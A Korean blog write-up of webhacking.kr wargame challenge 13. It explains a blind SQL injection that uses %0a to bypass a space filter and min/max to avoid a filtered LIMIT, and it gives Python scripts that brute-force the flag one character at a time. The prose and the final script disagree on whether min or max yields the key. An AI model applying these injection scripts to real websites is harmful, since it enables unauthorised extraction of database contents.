13번 문제를 접속하면 아래 처럼 SQL Injection 문제가 나온다.



select flag from prob13password 쿼리문에 대한 row를 가져오면 Auth key가 들어있는 것 같다.


먼저 1이라는 값을 제출해보자.



result가 1이라고 나오는데 벌써부터 느낌이 Blind Injection을 해야 할 것만 같다.



혹시 모르니 0값을 보내보자.



0을 보냈을 때는 result가 안나오는 것을 확인 할 수 있다.


배점이 높기 때문에 필터링을 열심히 하는 문제고 열심히 우회하는 문제같다.


하지만 9번 문제를 풀었던 것을 생각하면 쉽게 풀 수 있다.



똑같이 풀면 되는데 아래와 같이 띄어쓰기가 들어가는 경우 필터에 막힌다.



따라서 스페이스바(공백)을 %0a로 치환하여 아래의 스크립트를 사용하여 풀면 문제를 풀 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "select flag from prob13password".replace(' ','%0A')
 
for i in range(120):
    for j in string.printable:
        param = "(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-10/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall("<td>1</td>", res):
            result += j
break
 
    print result



근데 이상하게도 스크립트를 돌리는데 결과 값이 나오지를 않는다.


여러개의 row가 존재 할 수 있기 때문에 select count(flag) from prob13password 쿼리를 사용해 갯수를 알아봤다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "select count(flag) from prob13password".replace(' ','%0A')
 
for i in range(120):
    for j in string.printable:
        param = "(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-10/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall("<td>1</td>", res):
            result += j
            break
 
    print result
 
# result: 2


역시나 2개의 row가 있었기 때문에 그냥 select flag from prob13password 했을 때 내부 오류로 아무런 결과가 나오지 않았다.

(서브 쿼리에서는 row가 반드시 1개여야 한다. 안그러면 mysql 오류가 발생한다.)


하지만 여기서 문제가 생겼다.

limit를 필터링 하기 때문에 한개의 row만 가져올 수 없었다.


여기서 생각난게 min, max이다.


따라서 select min(flag) from prob13password 와 같은 쿼리문을 이용하여 최소값 1개를 가져올 수 있다.

(여기서 min, max는 첫 번째 글자의 순서에 따른 결과 일 것이다.)


min(flag)의 결과는 flag이므로 제대로 된 Auth Key값은 max로 구 할 수 있다.


따라서 아래의 Python 스크립트로 Auth Key값을 구할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "select min(flag) from prob13password".replace(' ','%0A')
 
for i in range(120):
    for j in string.printable:
        param = "(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-10/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall("<td>1</td>", res):
            result += j
            break
 
    print result
 
# result: challenge13luckclear


Auth Key값을 index.php에 넣고 보내주면 아래와 같이 문제가 풀리게 된다.



끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 15번  (0) 2016.11.15
webhacking.kr 14번  (0) 2016.11.14
webhacking.kr 13번  (0) 2016.11.14
webhacking.kr 12번  (0) 2016.11.13
webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12

+ Recent posts